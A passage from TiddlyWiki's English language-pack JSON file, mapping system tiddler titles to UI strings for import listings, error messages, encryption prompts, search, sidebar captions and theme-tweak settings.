            "title": "$:/language/Import/Listing/Hint",
            "text": "These tiddlers are ready to import:"
        },
        "$:/language/Import/Listing/Import/Caption": {
            "title": "$:/language/Import/Listing/Import/Caption",
            "text": "Import"
        },
        "$:/language/Import/Listing/Select/Caption": {
            "title": "$:/language/Import/Listing/Select/Caption",
            "text": "Select"
        },
        "$:/language/Import/Listing/Status/Caption": {
            "title": "$:/language/Import/Listing/Status/Caption",
            "text": "Status"
        },
        "$:/language/Import/Listing/Title/Caption": {
            "title": "$:/language/Import/Listing/Title/Caption",
            "text": "Title"
        },
        "$:/language/Import/Listing/Preview": {
            "title": "$:/language/Import/Listing/Preview",
            "text": "Preview:"
        },
        "$:/language/Import/Listing/Preview/Text": {
            "title": "$:/language/Import/Listing/Preview/Text",
            "text": "Text"
        },
        "$:/language/Import/Listing/Preview/TextRaw": {
            "title": "$:/language/Import/Listing/Preview/TextRaw",
            "text": "Text (Raw)"
        },
        "$:/language/Import/Listing/Preview/Fields": {
            "title": "$:/language/Import/Listing/Preview/Fields",
            "text": "Fields"
        },
        "$:/language/Import/Listing/Preview/Diff": {
            "title": "$:/language/Import/Listing/Preview/Diff",
            "text": "Diff"
        },
        "$:/language/Import/Listing/Preview/DiffFields": {
            "title": "$:/language/Import/Listing/Preview/DiffFields",
            "text": "Diff (Fields)"
        },
        "$:/language/Import/Upgrader/Plugins/Suppressed/Incompatible": {
            "title": "$:/language/Import/Upgrader/Plugins/Suppressed/Incompatible",
            "text": "Blocked incompatible or obsolete plugin"
        },
        "$:/language/Import/Upgrader/Plugins/Suppressed/Version": {
            "title": "$:/language/Import/Upgrader/Plugins/Suppressed/Version",
            "text": "Blocked plugin (due to incoming <<incoming>> being older than existing <<existing>>)"
        },
        "$:/language/Import/Upgrader/Plugins/Upgraded": {
            "title": "$:/language/Import/Upgrader/Plugins/Upgraded",
            "text": "Upgraded plugin from <<incoming>> to <<upgraded>>"
        },
        "$:/language/Import/Upgrader/State/Suppressed": {
            "title": "$:/language/Import/Upgrader/State/Suppressed",
            "text": "Blocked temporary state tiddler"
        },
        "$:/language/Import/Upgrader/System/Suppressed": {
            "title": "$:/language/Import/Upgrader/System/Suppressed",
            "text": "Blocked system tiddler"
        },
        "$:/language/Import/Upgrader/ThemeTweaks/Created": {
            "title": "$:/language/Import/Upgrader/ThemeTweaks/Created",
            "text": "Migrated theme tweak from <$text text=<<from>>/>"
        },
        "$:/language/AboveStory/ClassicPlugin/Warning": {
            "title": "$:/language/AboveStory/ClassicPlugin/Warning",
            "text": "It looks like you are trying to load a plugin designed for ~TiddlyWiki Classic. Please note that [[these plugins do not work with TiddlyWiki version 5.x.x|https://tiddlywiki.com/#TiddlyWikiClassic]]. ~TiddlyWiki Classic plugins detected:"
        },
        "$:/language/BinaryWarning/Prompt": {
            "title": "$:/language/BinaryWarning/Prompt",
            "text": "This tiddler contains binary data"
        },
        "$:/language/ClassicWarning/Hint": {
            "title": "$:/language/ClassicWarning/Hint",
            "text": "This tiddler is written in TiddlyWiki Classic wiki text format, which is not fully compatible with TiddlyWiki version 5. See https://tiddlywiki.com/static/Upgrading.html for more details."
        },
        "$:/language/ClassicWarning/Upgrade/Caption": {
            "title": "$:/language/ClassicWarning/Upgrade/Caption",
            "text": "upgrade"
        },
        "$:/language/CloseAll/Button": {
            "title": "$:/language/CloseAll/Button",
            "text": "close all"
        },
        "$:/language/ColourPicker/Recent": {
            "title": "$:/language/ColourPicker/Recent",
            "text": "Recent:"
        },
        "$:/language/ConfirmCancelTiddler": {
            "title": "$:/language/ConfirmCancelTiddler",
            "text": "Do you wish to discard changes to the tiddler \"<$text text=<<title>>/>\"?"
        },
        "$:/language/ConfirmDeleteTiddler": {
            "title": "$:/language/ConfirmDeleteTiddler",
            "text": "Do you wish to delete the tiddler \"<$text text=<<title>>/>\"?"
        },
        "$:/language/ConfirmOverwriteTiddler": {
            "title": "$:/language/ConfirmOverwriteTiddler",
            "text": "Do you wish to overwrite the tiddler \"<$text text=<<title>>/>\"?"
        },
        "$:/language/ConfirmEditShadowTiddler": {
            "title": "$:/language/ConfirmEditShadowTiddler",
            "text": "You are about to edit a ShadowTiddler. Any changes will override the default system making future upgrades non-trivial. Are you sure you want to edit \"<$text text=<<title>>/>\"?"
        },
        "$:/language/Count": {
            "title": "$:/language/Count",
            "text": "count"
        },
        "$:/language/DefaultNewTiddlerTitle": {
            "title": "$:/language/DefaultNewTiddlerTitle",
            "text": "New Tiddler"
        },
        "$:/language/Diffs/CountMessage": {
            "title": "$:/language/Diffs/CountMessage",
            "text": "<<diff-count>> differences"
        },
        "$:/language/DropMessage": {
            "title": "$:/language/DropMessage",
            "text": "Drop here (or use the 'Escape' key to cancel)"
        },
        "$:/language/Encryption/Cancel": {
            "title": "$:/language/Encryption/Cancel",
            "text": "Cancel"
        },
        "$:/language/Encryption/ConfirmClearPassword": {
            "title": "$:/language/Encryption/ConfirmClearPassword",
            "text": "Do you wish to clear the password? This will remove the encryption applied when saving this wiki"
        },
        "$:/language/Encryption/PromptSetPassword": {
            "title": "$:/language/Encryption/PromptSetPassword",
            "text": "Set a new password for this TiddlyWiki"
        },
        "$:/language/Encryption/Username": {
            "title": "$:/language/Encryption/Username",
            "text": "Username"
        },
        "$:/language/Encryption/Password": {
            "title": "$:/language/Encryption/Password",
            "text": "Password"
        },
        "$:/language/Encryption/RepeatPassword": {
            "title": "$:/language/Encryption/RepeatPassword",
            "text": "Repeat password"
        },
        "$:/language/Encryption/PasswordNoMatch": {
            "title": "$:/language/Encryption/PasswordNoMatch",
            "text": "Passwords do not match"
        },
        "$:/language/Encryption/SetPassword": {
            "title": "$:/language/Encryption/SetPassword",
            "text": "Set password"
        },
        "$:/language/Error/Caption": {
            "title": "$:/language/Error/Caption",
            "text": "Error"
        },
        "$:/language/Error/EditConflict": {
            "title": "$:/language/Error/EditConflict",
            "text": "File changed on server"
        },
        "$:/language/Error/Filter": {
            "title": "$:/language/Error/Filter",
            "text": "Filter error"
        },
        "$:/language/Error/FilterSyntax": {
            "title": "$:/language/Error/FilterSyntax",
            "text": "Syntax error in filter expression"
        },
        "$:/language/Error/IsFilterOperator": {
            "title": "$:/language/Error/IsFilterOperator",
            "text": "Filter Error: Unknown operand for the 'is' filter operator"
        },
        "$:/language/Error/LoadingPluginLibrary": {
            "title": "$:/language/Error/LoadingPluginLibrary",
            "text": "Error loading plugin library"
        },
        "$:/language/Error/RecursiveTransclusion": {
            "title": "$:/language/Error/RecursiveTransclusion",
            "text": "Recursive transclusion error in transclude widget"
        },
        "$:/language/Error/RetrievingSkinny": {
            "title": "$:/language/Error/RetrievingSkinny",
            "text": "Error retrieving skinny tiddler list"
        },
        "$:/language/Error/SavingToTWEdit": {
            "title": "$:/language/Error/SavingToTWEdit",
            "text": "Error saving to TWEdit"
        },
        "$:/language/Error/WhileSaving": {
            "title": "$:/language/Error/WhileSaving",
            "text": "Error while saving"
        },
        "$:/language/Error/XMLHttpRequest": {
            "title": "$:/language/Error/XMLHttpRequest",
            "text": "XMLHttpRequest error code"
        },
        "$:/language/InternalJavaScriptError/Title": {
            "title": "$:/language/InternalJavaScriptError/Title",
            "text": "Internal JavaScript Error"
        },
        "$:/language/InternalJavaScriptError/Hint": {
            "title": "$:/language/InternalJavaScriptError/Hint",
            "text": "Well, this is embarrassing. It is recommended that you restart TiddlyWiki by refreshing your browser"
        },
        "$:/language/InvalidFieldName": {
            "title": "$:/language/InvalidFieldName",
            "text": "Illegal characters in field name \"<$text text=<<fieldName>>/>\". Fields can only contain lowercase letters, digits and the characters underscore (`_`), hyphen (`-`) and period (`.`)"
        },
        "$:/language/LazyLoadingWarning": {
            "title": "$:/language/LazyLoadingWarning",
            "text": "<p>Trying to load external content from ''<$text text={{!!_canonical_uri}}/>''</p><p>If this message doesn't disappear, either the tiddler content type doesn't match the type of the external content, or you may be using a browser that doesn't support external content for wikis loaded as standalone files. See https://tiddlywiki.com/#ExternalText</p>"
        },
        "$:/language/LoginToTiddlySpace": {
            "title": "$:/language/LoginToTiddlySpace",
            "text": "Login to TiddlySpace"
        },
        "$:/language/Manager/Controls/FilterByTag/None": {
            "title": "$:/language/Manager/Controls/FilterByTag/None",
            "text": "(none)"
        },
        "$:/language/Manager/Controls/FilterByTag/Prompt": {
            "title": "$:/language/Manager/Controls/FilterByTag/Prompt",
            "text": "Filter by tag:"
        },
        "$:/language/Manager/Controls/Order/Prompt": {
            "title": "$:/language/Manager/Controls/Order/Prompt",
            "text": "Reverse order"
        },
        "$:/language/Manager/Controls/Search/Placeholder": {
            "title": "$:/language/Manager/Controls/Search/Placeholder",
            "text": "Search"
        },
        "$:/language/Manager/Controls/Search/Prompt": {
            "title": "$:/language/Manager/Controls/Search/Prompt",
            "text": "Search:"
        },
        "$:/language/Manager/Controls/Show/Option/Tags": {
            "title": "$:/language/Manager/Controls/Show/Option/Tags",
            "text": "tags"
        },
        "$:/language/Manager/Controls/Show/Option/Tiddlers": {
            "title": "$:/language/Manager/Controls/Show/Option/Tiddlers",
            "text": "tiddlers"
        },
        "$:/language/Manager/Controls/Show/Prompt": {
            "title": "$:/language/Manager/Controls/Show/Prompt",
            "text": "Show:"
        },
        "$:/language/Manager/Controls/Sort/Prompt": {
            "title": "$:/language/Manager/Controls/Sort/Prompt",
            "text": "Sort by:"
        },
        "$:/language/Manager/Item/Colour": {
            "title": "$:/language/Manager/Item/Colour",
            "text": "Colour"
        },
        "$:/language/Manager/Item/Fields": {
            "title": "$:/language/Manager/Item/Fields",
            "text": "Fields"
        },
        "$:/language/Manager/Item/Icon/None": {
            "title": "$:/language/Manager/Item/Icon/None",
            "text": "(none)"
        },
        "$:/language/Manager/Item/Icon": {
            "title": "$:/language/Manager/Item/Icon",
            "text": "Icon"
        },
        "$:/language/Manager/Item/RawText": {
            "title": "$:/language/Manager/Item/RawText",
            "text": "Raw text"
        },
        "$:/language/Manager/Item/Tags": {
            "title": "$:/language/Manager/Item/Tags",
            "text": "Tags"
        },
        "$:/language/Manager/Item/Tools": {
            "title": "$:/language/Manager/Item/Tools",
            "text": "Tools"
        },
        "$:/language/Manager/Item/WikifiedText": {
            "title": "$:/language/Manager/Item/WikifiedText",
            "text": "Wikified text"
        },
        "$:/language/MissingTiddler/Hint": {
            "title": "$:/language/MissingTiddler/Hint",
            "text": "Missing tiddler \"<$text text=<<currentTiddler>>/>\" -- click {{||$:/core/ui/Buttons/edit}} to create"
        },
        "$:/language/No": {
            "title": "$:/language/No",
            "text": "No"
        },
        "$:/language/OfficialPluginLibrary": {
            "title": "$:/language/OfficialPluginLibrary",
            "text": "Official ~TiddlyWiki Plugin Library"
        },
        "$:/language/OfficialPluginLibrary/Hint": {
            "title": "$:/language/OfficialPluginLibrary/Hint",
            "text": "The official ~TiddlyWiki plugin library at tiddlywiki.com. Plugins, themes and language packs are maintained by the core team."
        },
        "$:/language/PluginReloadWarning": {
            "title": "$:/language/PluginReloadWarning",
            "text": "Please save {{$:/core/ui/Buttons/save-wiki}} and reload {{$:/core/ui/Buttons/refresh}} to allow changes to plugins to take effect"
        },
        "$:/language/RecentChanges/DateFormat": {
            "title": "$:/language/RecentChanges/DateFormat",
            "text": "DDth MMM YYYY"
        },
        "$:/language/SystemTiddler/Tooltip": {
            "title": "$:/language/SystemTiddler/Tooltip",
            "text": "This is a system tiddler"
        },
        "$:/language/SystemTiddlers/Include/Prompt": {
            "title": "$:/language/SystemTiddlers/Include/Prompt",
            "text": "Include system tiddlers"
        },
        "$:/language/TagManager/Colour/Heading": {
            "title": "$:/language/TagManager/Colour/Heading",
            "text": "Colour"
        },
        "$:/language/TagManager/Count/Heading": {
            "title": "$:/language/TagManager/Count/Heading",
            "text": "Count"
        },
        "$:/language/TagManager/Icon/Heading": {
            "title": "$:/language/TagManager/Icon/Heading",
            "text": "Icon"
        },
        "$:/language/TagManager/Info/Heading": {
            "title": "$:/language/TagManager/Info/Heading",
            "text": "Info"
        },
        "$:/language/TagManager/Tag/Heading": {
            "title": "$:/language/TagManager/Tag/Heading",
            "text": "Tag"
        },
        "$:/language/Tiddler/DateFormat": {
            "title": "$:/language/Tiddler/DateFormat",
            "text": "DDth MMM YYYY at hh12:0mmam"
        },
        "$:/language/UnsavedChangesWarning": {
            "title": "$:/language/UnsavedChangesWarning",
            "text": "You have unsaved changes in TiddlyWiki"
        },
        "$:/language/Yes": {
            "title": "$:/language/Yes",
            "text": "Yes"
        },
        "$:/language/Modals/Download": {
            "title": "$:/language/Modals/Download",
            "subtitle": "Download changes",
            "footer": "<$button message=\"tm-close-tiddler\">Close</$button>",
            "help": "https://tiddlywiki.com/static/DownloadingChanges.html",
            "text": "Your browser only supports manual saving.\n\nTo save your modified wiki, right click on the download link below and select \"Download file\" or \"Save file\", and then choose the folder and filename.\n\n//You can marginally speed things up by clicking the link with the control key (Windows) or the options/alt key (Mac OS X). You will not be prompted for the folder or filename, but your browser is likely to give it an unrecognisable name -- you may need to rename the file to include an `.html` extension before you can do anything useful with it.//\n\nOn smartphones that do not allow files to be downloaded you can instead bookmark the link, and then sync your bookmarks to a desktop computer from where the wiki can be saved normally.\n"
        },
        "$:/language/Modals/SaveInstructions": {
            "title": "$:/language/Modals/SaveInstructions",
            "subtitle": "Save your work",
            "footer": "<$button message=\"tm-close-tiddler\">Close</$button>",
            "help": "https://tiddlywiki.com/static/SavingChanges.html",
            "text": "Your changes to this wiki need to be saved as a ~TiddlyWiki HTML file.\n\n!!! Desktop browsers\n\n# Select ''Save As'' from the ''File'' menu\n# Choose a filename and location\n#* Some browsers also require you to explicitly specify the file saving format as ''Webpage, HTML only'' or similar\n# Close this tab\n\n!!! Smartphone browsers\n\n# Create a bookmark to this page\n#* If you've got iCloud or Google Sync set up then the bookmark will automatically sync to your desktop where you can open it and save it as above\n# Close this tab\n\n//If you open the bookmark again in Mobile Safari you will see this message again. If you want to go ahead and use the file, just click the ''close'' button below//\n"
        },
        "$:/config/NewJournal/Title": {
            "title": "$:/config/NewJournal/Title",
            "text": "DDth MMM YYYY"
        },
        "$:/config/NewJournal/Text": {
            "title": "$:/config/NewJournal/Text",
            "text": ""
        },
        "$:/config/NewJournal/Tags": {
            "title": "$:/config/NewJournal/Tags",
            "text": "Journal"
        },
        "$:/language/Notifications/Save/Done": {
            "title": "$:/language/Notifications/Save/Done",
            "text": "Saved wiki"
        },
        "$:/language/Notifications/Save/Starting": {
            "title": "$:/language/Notifications/Save/Starting",
            "text": "Starting to save wiki"
        },
        "$:/language/Notifications/CopiedToClipboard/Succeeded": {
            "title": "$:/language/Notifications/CopiedToClipboard/Succeeded",
            "text": "Copied to clipboard!"
        },
        "$:/language/Notifications/CopiedToClipboard/Failed": {
            "title": "$:/language/Notifications/CopiedToClipboard/Failed",
            "text": "Failed to copy to clipboard!"
        },
        "$:/language/Search/DefaultResults/Caption": {
            "title": "$:/language/Search/DefaultResults/Caption",
            "text": "List"
        },
        "$:/language/Search/Filter/Caption": {
            "title": "$:/language/Search/Filter/Caption",
            "text": "Filter"
        },
        "$:/language/Search/Filter/Hint": {
            "title": "$:/language/Search/Filter/Hint",
            "text": "Search via a [[filter expression|https://tiddlywiki.com/static/Filters.html]]"
        },
        "$:/language/Search/Filter/Matches": {
            "title": "$:/language/Search/Filter/Matches",
            "text": "//<small><<resultCount>> matches</small>//"
        },
        "$:/language/Search/Matches": {
            "title": "$:/language/Search/Matches",
            "text": "//<small><<resultCount>> matches</small>//"
        },
        "$:/language/Search/Matches/All": {
            "title": "$:/language/Search/Matches/All",
            "text": "All matches:"
        },
        "$:/language/Search/Matches/Title": {
            "title": "$:/language/Search/Matches/Title",
            "text": "Title matches:"
        },
        "$:/language/Search/Search": {
            "title": "$:/language/Search/Search",
            "text": "Search"
        },
        "$:/language/Search/Search/TooShort": {
            "title": "$:/language/Search/Search/TooShort",
            "text": "Search text too short"
        },
        "$:/language/Search/Shadows/Caption": {
            "title": "$:/language/Search/Shadows/Caption",
            "text": "Shadows"
        },
        "$:/language/Search/Shadows/Hint": {
            "title": "$:/language/Search/Shadows/Hint",
            "text": "Search for shadow tiddlers"
        },
        "$:/language/Search/Shadows/Matches": {
            "title": "$:/language/Search/Shadows/Matches",
            "text": "//<small><<resultCount>> matches</small>//"
        },
        "$:/language/Search/Standard/Caption": {
            "title": "$:/language/Search/Standard/Caption",
            "text": "Standard"
        },
        "$:/language/Search/Standard/Hint": {
            "title": "$:/language/Search/Standard/Hint",
            "text": "Search for standard tiddlers"
        },
        "$:/language/Search/Standard/Matches": {
            "title": "$:/language/Search/Standard/Matches",
            "text": "//<small><<resultCount>> matches</small>//"
        },
        "$:/language/Search/System/Caption": {
            "title": "$:/language/Search/System/Caption",
            "text": "System"
        },
        "$:/language/Search/System/Hint": {
            "title": "$:/language/Search/System/Hint",
            "text": "Search for system tiddlers"
        },
        "$:/language/Search/System/Matches": {
            "title": "$:/language/Search/System/Matches",
            "text": "//<small><<resultCount>> matches</small>//"
        },
        "$:/language/SideBar/All/Caption": {
            "title": "$:/language/SideBar/All/Caption",
            "text": "All"
        },
        "$:/language/SideBar/Contents/Caption": {
            "title": "$:/language/SideBar/Contents/Caption",
            "text": "Contents"
        },
        "$:/language/SideBar/Drafts/Caption": {
            "title": "$:/language/SideBar/Drafts/Caption",
            "text": "Drafts"
        },
        "$:/language/SideBar/Explorer/Caption": {
            "title": "$:/language/SideBar/Explorer/Caption",
            "text": "Explorer"
        },
        "$:/language/SideBar/Missing/Caption": {
            "title": "$:/language/SideBar/Missing/Caption",
            "text": "Missing"
        },
        "$:/language/SideBar/More/Caption": {
            "title": "$:/language/SideBar/More/Caption",
            "text": "More"
        },
        "$:/language/SideBar/Open/Caption": {
            "title": "$:/language/SideBar/Open/Caption",
            "text": "Open"
        },
        "$:/language/SideBar/Orphans/Caption": {
            "title": "$:/language/SideBar/Orphans/Caption",
            "text": "Orphans"
        },
        "$:/language/SideBar/Recent/Caption": {
            "title": "$:/language/SideBar/Recent/Caption",
            "text": "Recent"
        },
        "$:/language/SideBar/Shadows/Caption": {
            "title": "$:/language/SideBar/Shadows/Caption",
            "text": "Shadows"
        },
        "$:/language/SideBar/System/Caption": {
            "title": "$:/language/SideBar/System/Caption",
            "text": "System"
        },
        "$:/language/SideBar/Tags/Caption": {
            "title": "$:/language/SideBar/Tags/Caption",
            "text": "Tags"
        },
        "$:/language/SideBar/Tags/Untagged/Caption": {
            "title": "$:/language/SideBar/Tags/Untagged/Caption",
            "text": "untagged"
        },
        "$:/language/SideBar/Tools/Caption": {
            "title": "$:/language/SideBar/Tools/Caption",
            "text": "Tools"
        },
        "$:/language/SideBar/Types/Caption": {
            "title": "$:/language/SideBar/Types/Caption",
            "text": "Types"
        },
        "$:/SiteSubtitle": {
            "title": "$:/SiteSubtitle",
            "text": "a non-linear personal web notebook"
        },
        "$:/SiteTitle": {
            "title": "$:/SiteTitle",
            "text": "My ~TiddlyWiki"
        },
        "$:/language/Snippets/ListByTag": {
            "title": "$:/language/Snippets/ListByTag",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "List of tiddlers by tag",
            "text": "<<list-links \"[tag[task]sort[title]]\">>\n"
        },
        "$:/language/Snippets/MacroDefinition": {
            "title": "$:/language/Snippets/MacroDefinition",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "Macro definition",
            "text": "\\define macroName(param1:\"default value\",param2)\nText of the macro\n\\end\n"
        },
        "$:/language/Snippets/Table4x3": {
            "title": "$:/language/Snippets/Table4x3",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "Table with 4 columns by 3 rows",
            "text": "|! |!Alpha |!Beta |!Gamma |!Delta |\n|!One | | | | |\n|!Two | | | | |\n|!Three | | | | |\n"
        },
        "$:/language/Snippets/TableOfContents": {
            "title": "$:/language/Snippets/TableOfContents",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "Table of Contents",
            "text": "<div class=\"tc-table-of-contents\">\n\n<<toc-selective-expandable 'TableOfContents'>>\n\n</div>"
        },
        "$:/language/ThemeTweaks/ThemeTweaks": {
            "title": "$:/language/ThemeTweaks/ThemeTweaks",
            "text": "Theme Tweaks"
        },
        "$:/language/ThemeTweaks/ThemeTweaks/Hint": {
            "title": "$:/language/ThemeTweaks/ThemeTweaks/Hint",
            "text": "You can tweak certain aspects of the ''Vanilla'' theme."
        },
        "$:/language/ThemeTweaks/Options": {
            "title": "$:/language/ThemeTweaks/Options",
            "text": "Options"
        },
        "$:/language/ThemeTweaks/Options/SidebarLayout": {
            "title": "$:/language/ThemeTweaks/Options/SidebarLayout",
            "text": "Sidebar layout"
        },
        "$:/language/ThemeTweaks/Options/SidebarLayout/Fixed-Fluid": {
            "title": "$:/language/ThemeTweaks/Options/SidebarLayout/Fixed-Fluid",
            "text": "Fixed story, fluid sidebar"
        },
        "$:/language/ThemeTweaks/Options/SidebarLayout/Fluid-Fixed": {
            "title": "$:/language/ThemeTweaks/Options/SidebarLayout/Fluid-Fixed",
            "text": "Fluid story, fixed sidebar"
        },
        "$:/language/ThemeTweaks/Options/StickyTitles": {
            "title": "$:/language/ThemeTweaks/Options/StickyTitles",
            "text": "Sticky titles"
        },
        "$:/language/ThemeTweaks/Options/StickyTitles/Hint": {
            "title": "$:/language/ThemeTweaks/Options/StickyTitles/Hint",
            "text": "Causes tiddler titles to \"stick\" to the top of the browser window"
        },
        "$:/language/ThemeTweaks/Options/CodeWrapping": {
            "title": "$:/language/ThemeTweaks/Options/CodeWrapping",
            "text": "Wrap long lines in code blocks"
        },
        "$:/language/ThemeTweaks/Settings": {
            "title": "$:/language/ThemeTweaks/Settings",
            "text": "Settings"
        },
        "$:/language/ThemeTweaks/Settings/FontFamily": {
            "title": "$:/language/ThemeTweaks/Settings/FontFamily",
            "text": "Font family"
        },
        "$:/language/ThemeTweaks/Settings/CodeFontFamily": {
            "title": "$:/language/ThemeTweaks/Settings/CodeFontFamily",
            "text": "Code font family"
        },
        "$:/language/ThemeTweaks/Settings/EditorFontFamily": {
            "title": "$:/language/ThemeTweaks/Settings/EditorFontFamily",
            "text": "Editor font family"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImage": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImage",
            "text": "Page background image"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment",
            "text": "Page background image attachment"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Scroll": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Scroll",
            "text": "Scroll with tiddlers"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Fixed": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Fixed",
            "text": "Fixed to window"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize",
            "text": "Page background image size"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Auto": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Auto",
            "text": "Auto"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Cover": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Cover",
            "text": "Cover"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Contain": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Contain",
            "text": "Contain"
        },
        "$:/language/ThemeTweaks/Metrics": {
            "title": "$:/language/ThemeTweaks/Metrics",
            "text": "Sizes"
        },
        "$:/language/ThemeTweaks/Metrics/FontSize": {
            "title": "$:/language/ThemeTweaks/Metrics/FontSize",
            "text": "Font size"
        },
        "$:/language/ThemeTweaks/Metrics/LineHeight": {
            "title": "$:/language/ThemeTweaks/Metrics/LineHeight",
            "text": "Line height"
        },
        "$:/language/ThemeTweaks/Metrics/BodyFontSize": {
            "title": "$:/language/ThemeTweaks/Metrics/BodyFontSize",
            "text": "Font size for tiddler body"
        },
        "$:/language/ThemeTweaks/Metrics/BodyLineHeight": {
            "title": "$:/language/ThemeTweaks/Metrics/BodyLineHeight",
            "text": "Line height for tiddler body"
        },
        "$:/language/ThemeTweaks/Metrics/StoryLeft": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryLeft",
            "text": "Story left position"
        },
        "$:/language/ThemeTweaks/Metrics/StoryLeft/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryLeft/Hint",
            "text": "how far the left margin of the story river<br>(tiddler area) is from the left of the page"
        },
        "$:/language/ThemeTweaks/Metrics/StoryTop": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryTop",
            "text": "Story top position"
        },
        "$:/language/ThemeTweaks/Metrics/StoryTop/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryTop/Hint",
            "text": "how far the top margin of the story river<br>is from the top of the page"
        },
        "$:/language/ThemeTweaks/Metrics/StoryRight": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryRight",
            "text": "Story right"
        },
        "$:/language/ThemeTweaks/Metrics/StoryRight/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryRight/Hint",
            "text": "how far the left margin of the sidebar <br>is from the left of the page"
        },
        "$:/language/ThemeTweaks/Metrics/StoryWidth": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryWidth",
            "text": "Story width"
        },
        "$:/language/ThemeTweaks/Metrics/StoryWidth/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryWidth/Hint",
            "text": "the overall width of the story river"
        },
        "$:/language/ThemeTweaks/Metrics/TiddlerWidth": {
            "title": "$:/language/ThemeTweaks/Metrics/TiddlerWidth",
            "text": "Tiddler width"
        },
        "$:/language/ThemeTweaks/Metrics/TiddlerWidth/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/TiddlerWidth/Hint",
            "text": "within the story river"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint",
            "text": "Sidebar breakpoint"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint/Hint",
            "text": "the minimum page width at which the story<br>river and sidebar will appear side by side"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarWidth": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarWidth",
            "text": "Sidebar width"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarWidth/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarWidth/Hint",
            "text": "the width of the sidebar in fluid-fixed layout"
        },
        "$:/language/TiddlerInfo/Advanced/Caption": {
            "title": "$:/language/TiddlerInfo/Advanced/Caption",
            "text": "Advanced"
        },
        "$:/language/TiddlerInfo/Advanced/PluginInfo/Empty/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Empty/Hint",
            "text": "none"
        },
        "$:/language/TiddlerInfo/Advanced/PluginInfo/Heading": {
            "title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Heading",
            "text": "Plugin Details"
        },
        "$:/language/TiddlerInfo/Advanced/PluginInfo/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Hint",
            "text": "This plugin contains the following shadow tiddlers:"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/Heading": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Heading",
            "text": "Shadow Status"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/NotShadow/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/NotShadow/Hint",
            "text": "The tiddler <$link to=<<infoTiddler>>><$text text=<<infoTiddler>>/></$link> is not a shadow tiddler"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Hint",
            "text": "The tiddler <$link to=<<infoTiddler>>><$text text=<<infoTiddler>>/></$link> is a shadow tiddler"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Source": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Source",
            "text": "It is defined in the plugin <$link to=<<pluginTiddler>>><$text text=<<pluginTiddler>>/></$link>"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/OverriddenShadow/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/OverriddenShadow/Hint",
            "text": "It is overridden by an ordinary tiddler"
        },
        "$:/language/TiddlerInfo/Fields/Caption": {
            "title": "$:/language/TiddlerInfo/Fields/Caption",
            "text": "Fields"
        },
        "$:/language/TiddlerInfo/List/Caption": {
            "title": "$:/language/TiddlerInfo/List/Caption",
            "text": "List"
        },
        "$:/language/TiddlerInfo/List/Empty": {
            "title": "$:/language/TiddlerInfo/List/Empty",
            "text": "This tiddler does not have a list"
        },
        "$:/language/TiddlerInfo/Listed/Caption": {
            "title": "$:/language/TiddlerInfo/Listed/Caption",
            "text": "Listed"
        },
        "$:/language/TiddlerInfo/Listed/Empty": {
            "title": "$:/language/TiddlerInfo/Listed/Empty",
            "text": "This tiddler is not listed by any others"
        },
        "$:/language/TiddlerInfo/References/Caption": {
            "title": "$:/language/TiddlerInfo/References/Caption",
            "text": "References"
        },
        "$:/language/TiddlerInfo/References/Empty": {
            "title": "$:/language/TiddlerInfo/References/Empty",
            "text": "No tiddlers link to this one"
        },
        "$:/language/TiddlerInfo/Tagging/Caption": {
            "title": "$:/language/TiddlerInfo/Tagging/Caption",
            "text": "Tagging"
        },
        "$:/language/TiddlerInfo/Tagging/Empty": {
